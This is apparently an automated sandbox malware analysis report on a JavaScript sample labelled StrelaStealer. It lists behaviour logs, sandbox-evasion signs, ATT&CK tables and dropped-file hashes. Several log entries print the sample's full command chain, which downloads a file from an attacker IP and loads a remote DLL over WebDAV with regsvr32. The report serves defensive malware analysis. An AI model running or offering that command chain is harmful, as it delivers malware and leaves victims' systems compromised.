Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4486			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5153			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6568	Thread sleep count: 4486 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4180	Thread sleep count: 5153 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5708	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7012	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5664	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4800	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6488	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2225585167.0000016BEA308000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2225585167.0000016BEA2A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3426778919.000002102965A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2225585167.0000016BEA308000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG
Source: svchost.exe, 00000009.00000002.3424630659.000002102402B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1709817689110827228.js	10%	Virustotal		Browse
1709817689110827228.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/paceTS	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/paceTS	net.exe, 00000007.00000002.2225585167.0000016BEA2A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2148526508.000001CFEB22F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2226770334.00000210294B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3426619625.0000021029600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2225585167.0000016BEA2FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.2225585167.0000016BEA2A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588761
Start date and time:	2025-01-11 05:10:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1709817689110827228.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.200.0.33, 23.200.0.21, 192.168.2.6, 13.107.246.45, 20.12.23.50, 54.224.241.105, 173.222.162.64, 104.126.112.182, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:11:53	API Interceptor	21x Sleep call for process: powershell.exe modified
23:11:57	API Interceptor	1x Sleep call for process: net.exe modified
23:11:57	API Interceptor	2x Sleep call for process: svchost.exe modified
23:12:05	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263137236663364
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0l:9JZj5MiKNnNhoxuc
MD5:	445FF53F977B0F019C595859AAA80D6C
SHA1:	7676D33433C8F1B62E2CB3343E8C25B9A585E627
SHA-256:	AC944FAF971B827071EEFB3B1C3D78FA8F9E4C4690D08BCBBB4E03FC8E5DD53E
SHA-512:	6ED5CBA707C2B72664262A2A6C178A1B3B1470338AB8C3DEDEE639BB398410AD11D61366EF2AA8963BF7964C6402E91D2B3CD70AD72B51BD70C419226F50BA48
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
